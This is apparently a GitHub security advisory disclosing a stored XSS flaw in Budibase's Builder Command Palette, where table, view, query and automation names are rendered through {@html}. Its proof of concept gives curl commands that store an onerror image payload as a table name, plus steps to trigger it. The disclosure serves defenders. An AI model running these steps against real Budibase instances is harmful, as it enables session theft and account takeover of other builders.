Skip to content

Stored XSS via unsanitized entity names rendered with {@html} in Builder Command Palette

High
mjashanks published GHSA-gp5x-2v54-v2q5 Apr 2, 2026

Package

npm budibase (npm)

Affected versions

<=3.31.1

Patched versions

3.32.5

Description

Summary

Budibase's Builder Command Palette renders entity names (tables, views, queries, automations)
using Svelte's {@html} directive without any sanitization. An authenticated user with
Builder access can create a table, automation, view, or query whose name contains an HTML
payload (e.g. <img src=x onerror=alert(document.domain)>). When any Builder-role user
in the same workspace opens the Command Palette (Ctrl+K), the payload executes in their
browser, stealing their session cookie and enabling full account takeover.

The v3.31.0 release introduced a name validation fix for app names only
(POST /api/applications), leaving tables, views, queries, and automations fully exploitable.

Details

Vulnerable sink — {@html} with no sanitization:

File: packages/builder/src/components/commandPalette/CommandPalette.svelte, line 405

<!--eslint-disable-next-line svelte/no-at-html-tags-->
{@html command.name}

The command.name field is populated directly from database entity names with zero
sanitization:

Command builder function Line Source field
tableCommands() 170 table.name
viewCommands() 184 view.name
viewV2Commands() 199 view.name
queryCommands() 221 query.name
automationCommands() 256 automation.name

None of these fields have server-side validation against HTML or script content. The API
endpoints accept arbitrary strings without restriction:

  • POST /api/tables — no name validation
  • POST /api/automations — no name validation
  • POST /api/datasources + POST /api/queries — no name validation

v3.31.0 incomplete fix: App names (POST /api/applications) were restricted to
/^[a-zA-Z0-9 ]+$/ in v3.31.0, but this fix was not applied to any other entity type,
leaving the primary attack vector fully open.


PoC

Requirements: Builder-level account on a self-hosted Budibase instance.

Step 1 — Authenticate and obtain session cookie

curl -c /tmp/bb_cookies.txt -X POST http://TARGET:10000/api/global/auth/default/login \
  -H "Content-Type: application/json" \
  -d '{"username":"builder@example.com","password":"Password123"}'

Response:

HTTP 200
Set-Cookie: budibase:auth=<jwt>; path=/
x-budibase-token: <jwt>

Step 2 — Store XSS payload as a table name

curl -b /tmp/bb_cookies.txt -X POST http://TARGET:10000/api/tables \
  -H "Content-Type: application/json" \
  -H "x-budibase-app-id: <DEV_APP_ID>" \
  -d '{
    "name": "<img src=x onerror=alert(document.domain)>",
    "type": "table",
    "schema": {}
  }'

Expected response — payload stored verbatim:

HTTP 200
{
  "_id": "ta_fa5262be2e254abb9faba92100c6eb58",
  "name": "<img src=x onerror=alert(document.domain)>",
  "type": "table",
  "schema": {}
}

Step 3 — Trigger execution via Command Palette

  1. Open http://TARGET:10000 in any browser and log in as any Builder or Admin user
  2. Navigate into the app in the builder (Design / Data / Automate tabs visible)
  3. Press Ctrl+K (Windows/Linux) or Cmd+K (macOS) to open the Command Palette
  4. The palette renders the table list via {@html command.name}
  5. The <img> tag's onerror handler fires immediately (because src=x cannot load)

Result: Alert box showing TARGET:10000 confirms JavaScript execution in the victim's browser.

Confirmed affected entity types

All of the following trigger the XSS when the Command Palette is opened:

Entity API Endpoint Trigger
Table POST /api/tables ✅ Confirmed live
View POST /api/views ✅ Vulnerable (same sink)
Query POST /api/queries ✅ Vulnerable (same sink)
Automation POST /api/automations ✅ Vulnerable (same sink)

Note: App names were patched in v3.31.0 (POST /api/applications now rejects HTML).
All other entity types remain unpatched.


Impact

Type: Stored Cross-Site Scripting (XSS)

Who is impacted:

Any Builder or Admin user who opens the Command Palette (Ctrl+K) in the Budibase app
builder while a malicious entity exists in the workspace. Because the Command Palette is a
global UI element that renders all entities across the entire app, every Builder in the
workspace is a victim — including users who never directly interact with the malicious entity.


image

Discovered By:
Abdulrahman Albatel
Abdullah Alrasheed

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

CVE ID

CVE-2026-35218

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

Credits